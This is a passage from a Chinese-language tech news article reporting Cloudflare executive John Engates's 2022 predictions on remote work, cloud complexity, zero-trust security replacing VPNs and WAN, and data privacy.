Engates認為，經過疫情後，人力資源市場正面臨大洗牌，求職者評估雇主的標準，開始會入遠端工作考量，雇主需要提供更靈活的工作環境，來吸引人才，且由於數位摩擦會影響員工生產力，CIO需要帶頭，並且針對數位化工作進行最佳化。他提到，2022年人才戰爭平衡會被打破，各家企業需要尋求技術優勢，來爭取求職者青睞。</p> <p>企業繼續大量採用雲端技術，是顯而易見的趨勢，John Engates表示，企業所採用的雲端技術越來越多，也越來越複雜，人才流失可能使得這些雲端專業知識從企業中消失。因此他認為，2022年企業除了要繼續加速採用雲端服務外，IT還需要簡化雲端複雜性，避免採用雲端服務，反而製造出更多問題，企業也會要求雲端廠商，提供更多的價值來控制成本。</p> <p>Cloudflare在2021年偵測到比往年更大量的DDoS攻擊，整體趨勢持續攀升，John Engates提到，安全沒有假期，企業必須要在遭遇到像是Log4j這樣的零日漏洞時，仍有能力隔絕攻擊者，而零信任將是唯一解。他預測，2022年會有更多企業CIO和CISO利用零信任安全模型，來重新評估安全技術和實踐。</p> <p>另外，John Engates提到，雖然他無法指出明確的時間點，但在光纖到戶和5G發展下WAN已死。他提到，一直以來WAN的成本和靈活性為人詬病，而SD-WAN技術也只是延長企業網路壽命的解決方案，而這些對於在家工作的現況，已經不敷使用。</p> <p>由於視訊會議和SaaS，在任何地方都能良好地運作，再加上5G的發展，行動體驗將會再次提升，John Engates認為，老舊的VPN會很快地消失，而VPN消失，也就代表企業正採用零信任安全模型，網際網路將會成為大多數用戶和企業的唯一網路。</p> <p>隨著隱私觀念在全球不斷提升，即便各國資料隱私規定不同，但是趨勢都相同，資料使用的權力重新回到用戶和消費者手上，John Engates表示，在2022年開始，企業需要在建構應用程式的同時，把隱私法考慮進去。</p> <p>而對於企業來說，另一個需要考慮的隱私、安全和遠端工作議題，是員工偏好在工作和私人使用單一裝置，John Engates提到，多裝置對員工來說很麻煩，但是要企業IT在未受管的裝置上維護隱私和安全更是一項挑戰，因此瀏覽器隔離和零信任安全控制，將會是隔離員工工作和私人用途的手段。</p> </div></div></div>
2022/1/4 09:50作者李建興https://www.ithome.com.tw/news/148696